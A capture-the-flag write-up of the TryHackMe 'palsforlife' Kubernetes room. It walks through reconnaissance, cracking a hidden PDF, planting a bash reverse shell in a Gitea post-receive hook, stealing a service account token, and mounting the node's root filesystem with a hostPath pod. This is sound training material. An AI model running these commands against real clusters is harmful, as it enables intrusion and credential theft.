Palsforlife - Tryhackme

Tuesday, June 1, 2021

TryHackMe is a platform to learn cyber security hands-on, they make it really fun to solve challenges and learn new tools & techniques. Making my way through challenges, I noticed there was only one room involving Kubernetes.

As Kubernetes has gained quite some popularity over the last few years, k8s clusters are now interesting targets so it’s good to learn how a cluster can be compromised to be better at securing it, that’s why I designed and proposed a room called palsforlife about k8s (and world of warcraft!) some time ago.

Here’s a writeup for this challenge:

Reconnaissance

First, we need to wait 5 minutes for the machine to fully boot up. To makes things a bit more convenient, edit your /etc/hosts file, adding a hive.thm entry to save your target IP:

x.x.x.x   palsforlife.thm

Let’s start with nmap:

nmap -A -T4 -p- palsforlife.thm -vv
PORT      STATE SERVICE           REASON  VERSION
22/tcp    open  ssh               syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6443/tcp  open  ssl/sun-sr-https? syn-ack
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 401 Unauthorized
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Tue, 16 Aug 2022 23:27:26 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:palsforlife.thm, IP Address:10.10.162.251, IP Address:10.43.0.1, IP Address:127.0.0.1, IP Address:172.30.18.136, IP Address:192.168.1.244
| Issuer: commonName=k3s-server-ca@1622498168
10250/tcp open  ssl/http          syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=palsforlife
| Subject Alternative Name: DNS:palsforlife, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.162.251
| Issuer: commonName=k3s-server-ca@1622498168
30180/tcp open  http              syn-ack nginx 1.21.0
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.21.0
|_http-title: 403 Forbidden
31111/tcp open  unknown           syn-ack
|   GetRequest: 
|     HTTP/1.0 200 OK
|     <!DOCTYPE html>
|     <html>
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Gitea: Git with a cup of tea</title>
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go" />
|     <meta name="keywords" content="go,git,self-hosted,gitea
31112/tcp open  ssh               syn-ack OpenSSH 7.5 (protocol 2.0)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 419.02 seconds

(the nmap log has been slightly redacted for readability)

We learn a few interesting things :

  • 10250 seems to indicate there is a kubernetes api server (k3s-server)
  • 30180 points to a nginx server
  • 31111 points to a gitea

Let’s run dirsearch (or gobuster) on the nginx:

dirsearch -u http://palsforlife.thm:30180/
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10903

Target: http://palsforlife.thm:30180/

[01:39:10] Starting: 
[01:39:41] 200 -   13KB - /team/

Task Completed
<dirsearch.dirsearch.Program object at 0x7f6e7f2fadf0>

We find a page at http://palsforlife.thm:30180/team/ :

Let’s go there and display the sources.

There is an interesting anchor:

<!-- I shouldn't forget this -->
      <div id="uninteresting_file.pdf" style="visibility: hidden; display: none;">[BASE64]</div>

Copy this found base64 in a base64_content file.

Recover the file from the base64.

cat base64_content | base64 --decode > uninteresting_file.pdf

Use pdf2john to get the hash from the password protected pdf file and crack it.

pdf2john.pl uninteresting_file.pdf > hash.txt
john --wordlist=rockyou.txt hash.txt

Open pdf with the found password, it looks like it contains another password.

Use this password found in the pdf to login to gitea as leeroy at http://palsforlife.thm:31111

There is a repo already created, let’s look into its webhooks.

We find that a webhook has already been created, let’s edit it and inspect the secret field to find the first flag.

Gaining System Access

Next, let’s abuse Git hooks.

Inject a reverse shell in the post-receive hook.

#!/bin/bash
bash -i >& /dev/tcp/YOUR_LOCAL_IP/4444 0>&1

Run a netcat listener on the attack machine:

nc -lvnp 4444

Clone the repo and push some modifications :

git clone http://palsforlife.thm:31111/leeroy/jenkins.git
cd jenkins
touch test
git add test
git ci -m "test"
git push origin master

We then get a reverse shell on the machine!

Get the second flag

cat /root/flag2.txt

Get the kubernetes service account token:

cat /var/run/secrets/kubernetes.io/serviceaccount/token

Save it in a token.txt file on the attack machine.

What can we do with this token?

kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://palsforlife.thm:6443 auth can-i --list

Apparently everything :

Resources   Non-Resource URLs   Resource Names   Verbs
*.*         []                  []               [*]
            [*]                 []               [*]

That’s what happen when RBAC is not enabled in the cluster :-)

Find the 3rd flag in a secret resource.

kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://palsforlife.thm:6443 -n kube-system get secret flag3 -o json | jq -r '.data | map_values(@base64d)'

Privilege escalation

Look at the docker images that are available in the node:

kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 get node -o yaml

Let’s use the nginx image

docker.io/library/nginx@sha256:6d75c99af15565a301e48297fa2d121e15d80ad526f8369c526324f0f7ccb750)

host.yaml

apiVersion: v1
kind: Pod
metadata:
  name: host
spec:
  containers:
  - image: docker.io/library/nginx@sha256:6d75c99af15565a301e48297fa2d121e15d80ad526f8369c526324f0f7ccb750
    name: host
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
    volumeMounts:
    - mountPath: /host
      name: host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

and then run:

kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 -n default apply -f host.yaml

Access the newly created pod:

kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 -n default exec -it host bash

We just mounted the node filesystem!

Let’s get the root flag.

cat /host/root/root.txt

And we’re done! Congrats!!